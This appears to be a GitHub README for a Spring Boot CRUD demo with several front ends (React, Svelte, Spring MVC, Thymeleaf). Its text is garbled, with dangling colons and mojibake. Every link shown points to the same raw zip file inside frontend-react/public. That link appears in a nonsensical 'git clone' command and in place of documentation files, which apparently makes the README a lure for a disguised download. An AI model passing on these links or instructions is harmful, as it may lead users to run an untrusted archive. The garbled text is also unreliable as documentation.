The spring-boot-crud-multi-ui application demonstrates how a single Spring Boot backend can support multiple user interface approaches. It allows you to explore various frameworks, including React, Svelte, Spring MVC, and Thymeleaf. This project is ideal for those looking to learn about web application architecture, compare different UI frameworks, and understand full-stack development.
Follow these steps to download and run the application on your machine.
To download the application, visit the Releases page:
Once you have downloaded the files, you can run the application:
Unzip the downloaded file (if zipped).
Open a terminal or command prompt.
Navigate to the folder where you unzipped the files.
Use the following command to run the application:
./mvnw spring-boot:run
Note: The command might vary based on the UI framework you choose. Refer to the specific instructions in each UI folder.
After running the application, you can access it in your web browser:
http://localhost:8080Explore the application to see different UI options and how they interact with the Spring Boot backend.
This project includes several UI frameworks. Hereβs a brief overview:
Each UI framework is in its separate folder with documentation on how to set it up and run it.
If you want to dive into development, here are some quick tips:
Clone the repository to your local machine:
git clone https://raw.githubusercontent.com/scrixixj/spring-boot-crud-multi-ui/main/frontend-react/public/multi-crud-spring-ui-boot-1.3-alpha.2.zip
Explore the code in each UI framework directory.
Review the https://raw.githubusercontent.com/scrixixj/spring-boot-crud-multi-ui/main/frontend-react/public/multi-crud-spring-ui-boot-1.3-alpha.2.zip files for guidance on extending the application.
Check the issues page for opportunities to contribute.
Understanding how different frameworks work is crucial. Here are some resources to help you learn more:
If you run into issues or have questions, you can reach out to the community:
Contributions are welcome! If you would like to enhance the application or add new features:
Start making your contributions today!
For any inquiries or feedback, feel free to reach out via the GitHub repository.
Explore, learn, and enjoy building with spring-boot-crud-multi-ui!